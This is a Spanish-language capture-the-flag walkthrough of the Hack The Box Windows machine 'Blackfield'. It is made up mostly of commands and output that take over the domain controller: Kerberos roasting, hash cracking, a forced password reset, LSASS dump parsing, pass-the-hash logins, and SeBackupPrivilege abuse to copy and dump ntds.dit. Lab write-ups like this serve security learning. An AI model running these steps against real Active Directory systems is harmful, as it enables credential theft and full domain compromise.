Box Info
| Name | Blackfield |
|---|---|
| Release Date | 06 Jun, 2020 |
| OS | Windows |
| Rated Difficulty | Hard |
ping -c 3 10.10.10.192PING 10.10.10.192 (10.10.10.192) 56(84) bytes of data.64 bytes from 10.10.10.192: icmp_seq=1 ttl=127 time=130 ms64 bytes from 10.10.10.192: icmp_seq=2 ttl=127 time=129 ms64 bytes from 10.10.10.192: icmp_seq=3 ttl=127 time=129 msRecon
nmap -p- --open --min-rate 5000 -n -vv -Pn 10.10.10.192 -oG allPorts# Nmap 7.95 scan initiated Thu Jul 10 23:35:34 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p 53,88,135,389,445,593,3268,5985 -oN targeted 10.10.10.192Nmap scan report for 10.10.10.192Host is up (0.13s latency).
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-11 10:35:41Z)135/tcp open msrpc Microsoft Windows RPC389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.03268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not FoundService Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:| smb2-security-mode:| 3:1:1:|_ Message signing enabled and required| smb2-time:| date: 2025-07-11T10:35:50|_ start_date: N/A|_clock-skew: 6h59m59snxc smb 10.10.10.192
SMB 10.10.10.192 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)Con netexec y smb podemos obtener mayor informacion sobre la maquina como hostname, version del SO y el nombre de dominio.
nxc smb 10.10.10.192 --sharesSMB 10.10.10.192 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)SMB 10.10.10.192 445 DC01 [-] Error enumerating shares: STATUS_USER_SESSION_DELETEDTambien podemos enumerar el los archivos compartidos por smbclient con null session.
smbclient -L //BLACKFIELD.LOCAL/ -N
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share forensic Disk Forensic / Audit share. IPC$ IPC Remote IPC NETLOGON Disk Logon server share profiles$ Disk SYSVOL Disk Logon server shareO con smbmap la diferencia es que indica los permisos para saber que recursos podemos leer.
smbmap -H 10.10.10.192 -u 'test'[+] IP: 10.10.10.192:445 Name: BLACKFIELD.LOCAL Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share forensic NO ACCESS Forensic / Audit share. IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share profiles$ READ ONLY SYSVOL NO ACCESS Logon server shareSolo hay 2 recursos que podemos leer y el que mas llama la atencion es el profiles$.
smbmap -H 10.10.10.192 -u 'adaw' -r 'profiles$' --no-bannerNos lista una gran fila de nombres de usuarios

Para saber que posibles usuarios son validos dentro del dominio, vamos a tomar la ultima fila es decir todos los usuarios para guardarlos en un archivo.
smbmap -H 10.10.10.192 -u 'adaw' -r 'profiles$' --no-banner | awk 'NF{print $NF}' > usersKerbrute
Con kerbrute enumeramos los usuarios validos que se encuentran en el dominio.
/opt/kerbrute/kerbrute userenum --dc 10.10.10.192 -d BLACKFIELD.LOCAL users
Al tener 3 usuarios validos dentro del dominio podria intentar obtener un tgt a traves de ASREPRoast Attack
Kerberoasting Attack
impacket-GetUserSPNs BLACKFIELD.LOCAL/support:#00^BlackKnight
ASREP Roast Attack
impacket-GetNPUsers BLACKFIELD.LOCAL/support -no-pass
Crack Hash
john hash -w=/usr/share/wordlists/rockyou.txt
#00^BlackKnightSMBMap
smbmap -H 10.10.10.192 -u 'support' -p '#00^BlackKnight' -r 'SYSVOL' --depth 10 --no-bannerAhora podria enumerar todos los usuarios que se encuentran en el dominio
rpcclient -U 'support%#00^BlackKnight' 10.10.10.192 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]'
De igual forma con ldapdomaindump podemos obtener mayor informacion de los grupos y usuarios del dominio.
ldapdomaindump -u 'BLACKFIELD.LCOAL\support' -p '#00^BlackKnight' 10.10.10.192
AUDIT2020
BloodHound
bloodhound-python -d BLACKFIELD.LOCAL -u support -p '#00^BlackKnight' -ns 10.10.10.192 --zip -c All
DACL (ForceChangePassword)
bloodyAD --host 10.10.10.192 -d BLACKFIELD.LOCAL -u "support" -p '#00^BlackKnight' set password "audit2020" 'P@ssword123!'
Validate Creds
nxc smb 10.10.10.192 -u 'audit2020' -p 'P@ssword123!' --shares
Ahora podemos ver dentro del recurso “forensic” compartido.
smbclient //10.10.10.192/forensic -U 'audit2020%P@ssword123!'
El lssas es un proceso critico en los sistemas windows que se encarga de la seguridad local incluyendo la autenticacion de usuarios.
7z l lsass.zip
Pypykatz
pypykatz lsa
pypypkatz lsa minidump lsaas.DMP
nxc smb 10.10.10.192 -u "svc_backup" -H "9658d1d1dcd9250115e2205d9f48400d"
nxc winrm 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
Podemos entrar al directorio del administrador pero aun no podemos visualizar la flag root.txt

whoami /priv
Privilege Escalation
SeBackupPrivileges permite al usuario exportar subárboles de registro.
SeBackupPrivilegeEl SYSTEM contiene la información (clave de arranque) necesaria para descifrar el archivo SAM y extraer los hashes que contiene.
Los “archivos” SAM y SYSTEM son copias de las subárboles de registro SAM y SYSTEM representadas como un solo archivo.
reg save hklm\system C:\temp\SYSTEM
La SAM es un archivo de base de datos del sistema operativo Windows que contiene nombres de usuario y contraseñas locales . Las contraseñas del archivo SAM no se almacenan en texto plano, sino como hashes NTLM (MD4).
reg save hklm\sam C:\temp\samAhora extraemos la copia del hash de administrator del archivo SAM
/usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam -system system local
nxc smb 10.10.10.192 -u "Administrator" -H '67ef902eae0d740df6257f273de75051'SMB 10.10.10.192 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)SMB 10.10.10.192 445 DC01 [-] BLACKFIELD.local\Administrator:67ef902eae0d740df6257f273de75051 STATUS_LOGON_FAILUREDesafortunadamente lo que necesitamos es el hash del administrador del dominio y no local. Una cuenta de administrador local tiene control total sobre los recursos de una máquina específica, mientras que un administrador de dominio tiene control sobre múltiples máquinas y recursos dentro de un dominio de red.
Incluso en el link sobre la Priv:seBackupPrivilege mencionan que se puede lograr obtener el NTDS.dit que es que contiene todos los hashes de los usuarios de un dominio.

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding asciiecho "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -appendecho "create" | out-file ./diskshadow.txt -encoding ascii -appendecho "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
Los comandos anteriores básicamente le dicen a diskshadow.exe que cree una copia de C: y la llame Z: y la exponga (la haga accesible como una unidad).
diskshadow.exe /s c:\temp\diskshadow.txt
robocopy /b Z:\Windows\ntds\ . ntds.dit
Descargamos con evil-winrm el archivo ntds.dit

/usr/share/doc/python3-impacket/examples/secretsdump.py -system system -ntds ntds.dit local
nxc smb 10.10.10.192 -u "Administrator" -H '184fb5e5178480be64824d4cd53b99ee'
evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'